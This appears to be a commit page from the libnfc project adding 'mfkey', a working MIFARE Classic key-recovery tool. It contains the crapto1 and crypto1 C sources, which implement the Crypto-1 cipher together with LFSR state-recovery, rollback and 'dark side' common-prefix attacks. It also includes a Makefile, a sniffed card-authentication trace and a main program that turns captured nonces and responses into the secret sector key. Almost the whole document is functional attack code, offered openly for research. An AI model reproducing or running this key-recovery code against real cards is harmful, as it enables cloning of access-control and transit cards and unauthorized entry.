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added mfkey

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roel@libnfc.org 2012-07-01 07:38:26 +00:00
parent 7862f4ad5b
commit 7847961b25
6 changed files with 761 additions and 0 deletions

17
tools/mfkey/Makefile Executable file

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CC = gcc
LD = gcc
CFLAGS = -Wall -Winline -O4
LDFLAGS = -fPIC
OBJS = crapto1.o crypto1.o
HEADERS =
EXES = mfkey
LIBS =
all: $(OBJS) $(EXES) $(LIBS)
% : %.c $(OBJS)
$(LD) $(CFLAGS) -o $@ $< $(OBJS) $(LDFLAGS)
clean:
rm -f $(OBJS) $(EXES) $(LIBS)

478
tools/mfkey/crapto1.c Executable file

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/* crapto1.c
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, US$
Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#include "crapto1.h"
#include <stdlib.h>
#if !defined LOWMEM && defined __GNUC__
static uint8_t filterlut[1 << 20];
static void __attribute__((constructor)) fill_lut()
{
uint32_t i;
for(i = 0; i < 1 << 20; ++i)
filterlut[i] = filter(i);
}
#define filter(x) (filterlut[(x) & 0xfffff])
#endif
static void quicksort(uint32_t* const start, uint32_t* const stop)
{
uint32_t *it = start + 1, *rit = stop;
if(it > rit)
return;
while(it < rit)
if(*it <= *start)
++it;
else if(*rit > *start)
--rit;
else
*it ^= (*it ^= *rit, *rit ^= *it);
if(*rit >= *start)
--rit;
if(rit != start)
*rit ^= (*rit ^= *start, *start ^= *rit);
quicksort(start, rit - 1);
quicksort(rit + 1, stop);
}
/** binsearch
* Binary search for the first occurence of *stop's MSB in sorted [start,stop]
*/
static inline uint32_t* binsearch(uint32_t *start, uint32_t *stop)
{
uint32_t mid, val = *stop & 0xff000000;
while(start != stop)
if(start[mid = (stop - start) >> 1] > val)
stop = &start[mid];
else
start += mid + 1;
return start;
}
/** update_contribution
* helper, calculates the partial linear feedback contributions and puts in MSB
*/
static inline void
update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)
{
uint32_t p = *item >> 25;
p = p << 1 | parity(*item & mask1);
p = p << 1 | parity(*item & mask2);
*item = p << 24 | (*item & 0xffffff);
}
/** extend_table
* using a bit of the keystream extend the table of possible lfsr states
*/
static inline void
extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)
{
in <<= 24;
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
if(filter(*tbl) ^ filter(*tbl | 1)) {
*tbl |= filter(*tbl) ^ bit;
update_contribution(tbl, m1, m2);
*tbl ^= in;
} else if(filter(*tbl) == bit) {
*++*end = tbl[1];
tbl[1] = tbl[0] | 1;
update_contribution(tbl, m1, m2);
*tbl++ ^= in;
update_contribution(tbl, m1, m2);
*tbl ^= in;
} else
*tbl-- = *(*end)--;
}
/** extend_table_simple
* using a bit of the keystream extend the table of possible lfsr states
*/
static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)
{
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
if(filter(*tbl) ^ filter(*tbl | 1))
*tbl |= filter(*tbl) ^ bit;
else if(filter(*tbl) == bit) {
*++*end = *++tbl;
*tbl = tbl[-1] | 1;
} else
*tbl-- = *(*end)--;
}
/** recover
* recursively narrow down the search space, 4 bits of keystream at a time
*/
static struct Crypto1State*
recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,
uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,
struct Crypto1State *sl, uint32_t in)
{
uint32_t *o, *e, i;
if(rem == -1) {
for(e = e_head; e <= e_tail; ++e) {
*e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);
for(o = o_head; o <= o_tail; ++o, ++sl) {
sl->even = *o;
sl->odd = *e ^ parity(*o & LF_POLY_ODD);
sl[1].odd = sl[1].even = 0;
}
}
return sl;
}
for(i = 0; i < 4 && rem--; i++) {
oks >>= 1;
eks >>= 1;
in >>= 2;
extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1,
LF_POLY_ODD << 1, 0);
if(o_head > o_tail)
return sl;
extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD,
LF_POLY_EVEN << 1 | 1, in & 3);
if(e_head > e_tail)
return sl;
}
quicksort(o_head, o_tail);
quicksort(e_head, e_tail);
while(o_tail >= o_head && e_tail >= e_head)
if(((*o_tail ^ *e_tail) >> 24) == 0) {
o_tail = binsearch(o_head, o = o_tail);
e_tail = binsearch(e_head, e = e_tail);
sl = recover(o_tail--, o, oks,
e_tail--, e, eks, rem, sl, in);
}
else if(*o_tail > *e_tail)
o_tail = binsearch(o_head, o_tail) - 1;
else
e_tail = binsearch(e_head, e_tail) - 1;
return sl;
}
/** lfsr_recovery
* recover the state of the lfsr given 32 bits of the keystream
* additionally you can use the in parameter to specify the value
* that was fed into the lfsr at the time the keystream was generated
*/
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)
{
struct Crypto1State *statelist;
uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;
uint32_t *even_head = 0, *even_tail = 0, eks = 0;
int i;
for(i = 31; i >= 0; i -= 2)
oks = oks << 1 | BEBIT(ks2, i);
for(i = 30; i >= 0; i -= 2)
eks = eks << 1 | BEBIT(ks2, i);
odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);
even_head = even_tail = malloc(sizeof(uint32_t) << 21);
statelist = malloc(sizeof(struct Crypto1State) << 18);
if(!odd_tail-- || !even_tail-- || !statelist) {
free(statelist);
statelist = 0;
goto out;
}
statelist->odd = statelist->even = 0;
for(i = 1 << 20; i >= 0; --i) {
if(filter(i) == (oks & 1))
*++odd_tail = i;
if(filter(i) == (eks & 1))
*++even_tail = i;
}
for(i = 0; i < 4; i++) {
extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1);
extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);
}
in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);
recover(odd_head, odd_tail, oks,
even_head, even_tail, eks, 11, statelist, in << 1);
out:
free(odd_head);
free(even_head);
return statelist;
}
static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,
0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,
0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};
static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,
0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,
0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,
0x7EC7EE90, 0x7F63F748, 0x79117020};
static const uint32_t T1[] = {
0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,
0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,
0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,
0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};
static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,
0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,
0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,
0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,
0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,
0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};
static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};
static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};
/** Reverse 64 bits of keystream into possible cipher states
* Variation mentioned in the paper. Somewhat optimized version
*/
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)
{
struct Crypto1State *statelist, *sl;
uint8_t oks[32], eks[32], hi[32];
uint32_t low = 0, win = 0;
uint32_t *tail, table[1 << 16];
int i, j;
sl = statelist = malloc(sizeof(struct Crypto1State) << 4);
if(!sl)
return 0;
sl->odd = sl->even = 0;
for(i = 30; i >= 0; i -= 2) {
oks[i >> 1] = BEBIT(ks2, i);
oks[16 + (i >> 1)] = BEBIT(ks3, i);
}
for(i = 31; i >= 0; i -= 2) {
eks[i >> 1] = BEBIT(ks2, i);
eks[16 + (i >> 1)] = BEBIT(ks3, i);
}
for(i = 0xfffff; i >= 0; --i) {
if (filter(i) != oks[0])
continue;
*(tail = table) = i;
for(j = 1; tail >= table && j < 29; ++j)
extend_table_simple(table, &tail, oks[j]);
if(tail < table)
continue;
for(j = 0; j < 19; ++j)
low = low << 1 | parity(i & S1[j]);
for(j = 0; j < 32; ++j)
hi[j] = parity(i & T1[j]);
for(; tail >= table; --tail) {
for(j = 0; j < 3; ++j) {
*tail = *tail << 1;
*tail |= parity((i & C1[j]) ^ (*tail & C2[j]));
if(filter(*tail) != oks[29 + j])
goto continue2;
}
for(j = 0; j < 19; ++j)
win = win << 1 | parity(*tail & S2[j]);
win ^= low;
for(j = 0; j < 32; ++j) {
win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);
if(filter(win) != eks[j])
goto continue2;
}
*tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);
sl->odd = *tail ^ parity(LF_POLY_ODD & win);
sl->even = win;
++sl;
sl->odd = sl->even = 0;
continue2:;
}
}
return statelist;
}
/** lfsr_rollback_bit
* Rollback the shift register in order to get previous states
*/
uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)
{
int out;
uint8_t ret;
s->odd &= 0xffffff;
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
out = s->even & 1;
out ^= LF_POLY_EVEN & (s->even >>= 1);
out ^= LF_POLY_ODD & s->odd;
out ^= !!in;
out ^= (ret = filter(s->odd)) & !!fb;
s->even |= parity(out) << 23;
return ret;
}
/** lfsr_rollback_byte
* Rollback the shift register in order to get previous states
*/
uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)
{
int i, ret = 0;
for (i = 7; i >= 0; --i)
ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;
return ret;
}
/** lfsr_rollback_word
* Rollback the shift register in order to get previous states
*/
uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)
{
int i;
uint32_t ret = 0;
for (i = 31; i >= 0; --i)
ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);
return ret;
}
/** nonce_distance
* x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y
*/
static uint16_t *dist = 0;
int nonce_distance(uint32_t from, uint32_t to)
{
uint16_t x, i;
if(!dist) {
dist = malloc(2 << 16);
if(!dist)
return -1;
for (x = i = 1; i; ++i) {
dist[(x & 0xff) << 8 | x >> 8] = i;
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
}
}
return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;
}
static uint32_t fastfwd[2][8] = {
{ 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},
{ 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};
/** lfsr_prefix_ks
*
* Is an exported helper function from the common prefix attack
* Described in the "dark side" paper. It returns an -1 terminated array
* of possible partial(21 bit) secret state.
* The required keystream(ks) needs to contain the keystream that was used to
* encrypt the NACK which is observed when varying only the 3 last bits of Nr
* only correct iff [NR_3] ^ NR_3 does not depend on Nr_3
*/
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)
{
uint32_t c, entry, *candidates = malloc(4 << 10);
int i, size = 0, good;
if(!candidates)
return 0;
for(i = 0; i < 1 << 21; ++i) {
for(c = 0, good = 1; good && c < 8; ++c) {
entry = i ^ fastfwd[isodd][c];
good &= (BIT(ks[c], isodd) == filter(entry >> 1));
good &= (BIT(ks[c], isodd + 2) == filter(entry));
}
if(good)
candidates[size++] = i;
}
candidates[size] = -1;
return candidates;
}
/** check_pfx_parity
* helper function which eliminates possible secret states using parity bits
*/
static struct Crypto1State*
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
uint32_t odd, uint32_t even, struct Crypto1State* sl)
{
uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;
for(c = 0; good && c < 8; ++c) {
sl->odd = odd ^ fastfwd[1][c];
sl->even = even ^ fastfwd[0][c];
lfsr_rollback_bit(sl, 0, 0);
lfsr_rollback_bit(sl, 0, 0);
ks3 = lfsr_rollback_bit(sl, 0, 0);
ks2 = lfsr_rollback_word(sl, 0, 0);
ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);
nr = ks1 ^ (prefix | c << 5);
rr = ks2 ^ rresp;
good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8);
good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0);
good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
}
return sl + good;
}
/** lfsr_common_prefix
* Implentation of the common prefix attack.
*/
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
{
struct Crypto1State *statelist, *s;
uint32_t *odd, *even, *o, *e, top;
odd = lfsr_prefix_ks(ks, 1);
even = lfsr_prefix_ks(ks, 0);
s = statelist = malloc((sizeof *statelist) << 20);
if(!s || !odd || !even) {
free(statelist);
statelist = 0;
goto out;
}
for(o = odd; *o + 1; ++o)
for(e = even; *e + 1; ++e)
for(top = 0; top < 64; ++top) {
*o += 1 << 21;
*e += (!(top & 7) + 1) << 21;
s = check_pfx_parity(pfx, rr, par, *o, *e, s);
}
s->odd = s->even = 0;
out:
free(odd);
free(even);
return statelist;
}

93
tools/mfkey/crapto1.h Executable file

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/* crapto1.h
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, US$
Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#ifndef CRAPTO1_INCLUDED
#define CRAPTO1_INCLUDED
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
struct Crypto1State {uint32_t odd, even;};
struct Crypto1State* crypto1_create(uint64_t);
void crypto1_destroy(struct Crypto1State*);
void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
uint32_t prng_successor(uint32_t x, uint32_t n);
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);
uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
int nonce_distance(uint32_t from, uint32_t to);
#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
uint32_t __n = 0,__M = 0, N = 0;\
int __i;\
for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
for(__i = FSIZE - 1; __i >= 0; __i--)\
if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
break;\
else if(__i)\
__M = prng_successor(__M, (__i == 7) ? 48 : 8);\
else
#define LF_POLY_ODD (0x29CE5C)
#define LF_POLY_EVEN (0x870804)
#define BIT(x, n) ((x) >> (n) & 1)
#define BEBIT(x, n) BIT(x, (n) ^ 24)
static inline int parity(uint32_t x)
{
#if !defined __i386__ || !defined __GNUC__
x ^= x >> 16;
x ^= x >> 8;
x ^= x >> 4;
return BIT(0x6996, x & 0xf);
#else
asm( "movl %1, %%eax\n"
"mov %%ax, %%cx\n"
"shrl $0x10, %%eax\n"
"xor %%ax, %%cx\n"
"xor %%ch, %%cl\n"
"setpo %%al\n"
"movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
return x;
#endif
}
static inline int filter(uint32_t const x)
{
uint32_t f;
f = 0xf22c0 >> (x & 0xf) & 16;
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
return BIT(0xEC57E80A, f);
}
#ifdef __cplusplus
}
#endif
#endif

93
tools/mfkey/crypto1.c Executable file

@ -0,0 +1,93 @@
/* crypto1.c
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, US
Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#include "crapto1.h"
#include <stdlib.h>
#define SWAPENDIAN(x)\
(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
struct Crypto1State * crypto1_create(uint64_t key)
{
struct Crypto1State *s = malloc(sizeof(*s));
int i;
for(i = 47;s && i > 0; i -= 2) {
s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7);
s->even = s->even << 1 | BIT(key, i ^ 7);
}
return s;
}
void crypto1_destroy(struct Crypto1State *state)
{
free(state);
}
void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
{
int i;
for(*lfsr = 0, i = 23; i >= 0; --i) {
*lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
*lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
}
}
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
uint32_t feedin;
uint8_t ret = filter(s->odd);
feedin = ret & !!is_encrypted;
feedin ^= !!in;
feedin ^= LF_POLY_ODD & s->odd;
feedin ^= LF_POLY_EVEN & s->even;
s->even = s->even << 1 | parity(feedin);
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
return ret;
}
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
uint8_t i, ret = 0;
for (i = 0; i < 8; ++i)
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
return ret;
}
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
{
uint32_t i, ret = 0;
for (i = 0; i < 32; ++i)
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
return ret;
}
/* prng_successor
* helper used to obscure the keystream during authentication
*/
uint32_t prng_successor(uint32_t x, uint32_t n)
{
SWAPENDIAN(x);
while(n--)
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
return SWAPENDIAN(x);
}

15
tools/mfkey/example_trace.txt Normal file

@ -0,0 +1,15 @@
+ 50782: : 26
+ 33822: : 26
+ 50422: : 26
+ 64: 0: TAG 04 00
+ 944: : 93 20
+ 64: 0: TAG 9c 59 9b 32 6c
+ 1839: : 93 70 9c 59 9b 32 6c 6b 30
+ 64: 0: TAG 08 b6 dd
+ 3783: : 60 32 64 69
+ 113: 0: TAG 82 a4 16 6c
+ 1287: : a1 e4 58 ce 6e ea 41 e0
+ 64: 0: TAG 5c ad f4 39
./mfkey 9c599b32 82a4166c a1e458ce 6eea41e0 5cadf439

65
tools/mfkey/mfkey.c Executable file

@ -0,0 +1,65 @@
// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>
int main (int argc, char *argv[]) {
struct Crypto1State *revstate;
uint64_t lfsr;
uint8_t* plfsr = (uint8_t*)&lfsr;
uint32_t uid; // serial number
uint32_t nt; // tag challenge
uint32_t nr_enc; // encrypted reader challenge
uint32_t ar_enc; // encrypted reader response
uint32_t at_enc; // encrypted tag response
uint32_t ks2; // keystream used to encrypt reader response
uint32_t ks3; // keystream used to encrypt tag response
printf("MIFARE Classic key recovery\n\n");
if (argc < 6) {
printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}>\n\n",argv[0]);
return 1;
}
sscanf(argv[1],"%x",&uid);
sscanf(argv[2],"%x",&nt);
sscanf(argv[3],"%x",&nr_enc);
sscanf(argv[4],"%x",&ar_enc);
sscanf(argv[5],"%x",&at_enc);
printf("Recovering key for:\n");
printf(" uid: %08x\n",uid);
printf(" nt: %08x\n",nt);
printf(" {nr}: %08x\n",nr_enc);
printf(" {ar}: %08x\n",ar_enc);
printf(" {at}: %08x\n",at_enc);
/*
uint32_t uid = 0x9c599b32;
uint32_t tag_challenge = 0x82a4166c;
uint32_t nr_enc = 0xa1e458ce;
uint32_t reader_response = 0x6eea41e0;
uint32_t tag_response = 0x5cadf439;
*/
// Generate lfsr succesors of the tag challenge
printf("\nLFSR succesors of the tag challenge:\n");
printf(" nt': %08x\n",prng_successor(nt, 64));
printf(" nt'': %08x\n",prng_successor(nt, 96));
// Extract the keystream from the messages
printf("\nKeystream used to generate {ar} and {at}:\n");
ks2 = ar_enc ^ prng_successor(nt, 64);
ks3 = at_enc ^ prng_successor(nt, 96);
printf(" ks2: %08x\n",ks2);
printf(" ks3: %08x\n",ks3);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ nt, 0);
crypto1_get_lfsr(revstate, &lfsr);
printf("\nFound Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);
return 0;
}